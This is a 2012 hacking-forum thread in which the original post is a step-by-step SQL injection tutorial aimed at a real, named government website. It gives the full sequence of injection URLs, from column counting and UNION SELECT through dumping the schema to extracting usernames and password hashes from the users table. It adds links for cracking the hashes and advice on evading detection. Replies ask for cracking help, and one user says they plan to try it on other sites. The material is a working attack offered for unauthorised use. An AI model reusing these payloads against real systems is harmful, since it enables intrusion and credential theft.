[SQL] String Based Injection Detialed Tutorial With PICS [SQL]

[SQL] String Based Injection Detialed Tutorial With PICS [SQL] - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+----- Forum: SQL Injection Attacks (https://hackforums.net/forumdisplay.php?fid=103)
+----- Thread: [SQL] String Based Injection Detialed Tutorial With PICS [SQL] (/showthread.php?tid=2491596)

Pages: Pages 1 2

[SQL] String Based Injection Detialed Tutorial With PICS [SQL] - torque59 - May 13, 2012

Hello guys I am making this tutorial for all those who want to have at Look at String based SQL Injection ✌

Its better to have a good look at SQL tuts done by our HF members
before reading this.

Links:hackforums.net/showthread.php?tid=1923250
hackforums.net/showthread.php?tid=1814660

[NOTE]The site used here is a gov.Better to HIde you ass before you get BUsted😭[NOTE]

LOL lets Rock 😊

Lets take this Site

Code 
http://www.bhutan.gov.bt/government/newsDetail.php?id=208

WE add a quote to see if its inject-able

Code 
http://www.bhutan.gov.bt/government/newsDetail.php?id=208'

Voila! We got our error

[Image: e8Xfv.png]

Now moving on to order based queries

We try order by x--

Code 
http://www.bhutan.gov.bt/government/newsDetail.php?id=208 order by 1--

---->Error

Code 
http://www.bhutan.gov.bt/government/newsDetail.php?id=208 order by 100--

-->Error

Doomed No? We Have a Solution

This is where the String based injection comes into play

Instead of the typical order by 1-- in error based injections we Use

order by 1--+- or order by 1--+

and change the id parameter to: id=x' order by x--+-

[note]THis is a Very importaant As string based Injections are considered Dont forget this 😠[note]

So moving on>Lets inject with order by

Code 
http://www.bhutan.gov.bt/government/newsDetail.php?id=208 order by 1--+-

-->No Error Loads fine

Code 
http://www.bhutan.gov.bt/government/newsDetail.php?id=208 order by 2--+-

-->No error Loads fine
And So on till we get an error

Code 
http://www.bhutan.gov.bt/government/newsDetail.php?id=208' order by 9--+-

-->Error

So the number of Columns must be 8..

Moving on

[note]The union statements used are the same here and has change only in the injection parameter[note]

eg: id=-x' union select x--+-
using the ' after x preferentially changes depending upon the error

So continuing

Code 
http://www.bhutan.gov.bt/government/newsDetail.php?id=-208 union select 1,2,3,4,5,6,7,8--+-

You get the vulnerable column.Its 3

Looking for the version

[note]You could also get the hostname(),user(),database() by using group_concat(required field)[note]

Code 
http://www.bhutan.gov.bt/government/newsDetail.php?id=-208 union select 1,2,version(),4,5,6,7,8--+-

Getting the tables out

Code 
http://www.bhutan.gov.bt/government/newsDetail.php?id=-208 union select 1,2,group_concat(table_name),4,5,6,7,8 from information_schema.tables where table_schema=database()--+-

There are a hell Lot of Tables take the on of your interest
As a matter of interest we take the table Users out

Code 
http://www.bhutan.gov.bt/government/newsDetail.php?id=-208 union select 1,2,group_concat(column_name),4,5,6,7,8 from information_schema.columns where table_name=0x7573657273--+-

You could easily hex your queries by using this website
http://www.swingnote.com/tools/texttohex.php

Now extracting the data out of the columns

Code 
http://www.bhutan.gov.bt/government/newsDetail.php?id=-208 union select 1,2,group_concat(0x0a,USERNAME,0x3a,PASSW),4,5,6,7,8 from users--+-

You could convert the hashed password.

Its a SHA-512 hash which i thing is quite difficult to crack .

Hash Identifier:
http://www.mediafire.com/?rfedip2eqe456z6
Sites for hash searches :
http://www.md5decrypter.co.uk/

Those Who liked my Tutorial

Plse do leave a Thanks message and a +ve rep 🤗

Feel free to PM me regaring any clarification

Srry for the wrong website.It is error based but could be used as string also .

--
Shots to Downfall,Dan,Haxor

* - Gjaosu - May 13, 2012

I think you wrong. This site isn't String based

PHP Code 


<?php 
http://www.bhutan.gov.bt/government/newsDetail.php?id=208 order by 1-- 

No Error

PHP Code 


<?php 
http://www.bhutan.gov.bt/government/newsDetail.php?id=208 order by 100-- 

Error

Code 
Error fetching news!

* - Cipri - May 13, 2012

Thanks bro, i know a site or two where I'm going to try this :D

* - torque59 - May 13, 2012

(May 13, 2012 02:25 AM)Gjaosu Wrote: I think you wrong. This site isn't String based

PHP Code
<?php http://www.bhutan.gov.bt/government/newsDetail.php?id=208 order by 1--

No Error

PHP Code
<?php http://www.bhutan.gov.bt/government/newsDetail.php?id=208 order by 100--
Error

Code
Error fetching news!

YA i knew that just changed it into string based just to make this tut

Srry 😵

* - DsntExist - May 14, 2012

I'm going to take a look at this dude. I'd really like to learn string based because I encountered a couple times where my normal method fails to succeed.

* - Fbrugs - May 16, 2012

MD5Decrypter Failed To Find HASH
Help me??

* - torque59 - May 16, 2012

(May 16, 2012 11:30 AM)Fbrugs Wrote: MD5Decrypter Failed To Find HASH
Help me??

Are u talking about this site demonstrated or any other sitee en

If the site demonstrated then it is not md5 it is sha-512

or if other then the md5 might be salted

* - Pr3nK - May 16, 2012

(May 13, 2012 02:20 AM)torque59 Wrote: Those Who liked my Tutorial

Plse do leave a Thanks message and a +ve rep 🤗

It's not allowed asking for +rep on HF 😠

* - xx 0x0 xx - May 16, 2012

well it's not totally complete tut but i like your hard work brother thx

* - torque59 - May 17, 2012

(May 16, 2012 03:03 PM)mats0o0o0 Wrote: well it's not totally complete tut but i like your hard work brother thx

Thanks man it takes a while to write these tuts 🤝

* - zdog685 - May 17, 2012

I have a question is this error mean it is vonerable

Not Found

The requested URL /original/' was not found on this server.

* - torque59 - May 17, 2012

(May 17, 2012 01:36 AM)zdog685 Wrote: I have a question is this error mean it is vonerable

Not Found

The requested URL /original/' was not found on this server.

I thing it is not vulnerable because you just added it before a page and the page name was not found

If you have any doubts give me skype id i will contact you over skype

* - ravasclavas1 - May 26, 2012

this tutorial is ausome tutorial i will try it out on my personal website

* - hitler_m - May 27, 2012

good one dude....
realy very helpful for begginers....

* - torque59 - May 27, 2012

(May 27, 2012 12:14 AM)hitler_m Wrote: good one dude....
realy very helpful for begginers....

Thanks bro I and planning to write another one soon

Thanks For the Comments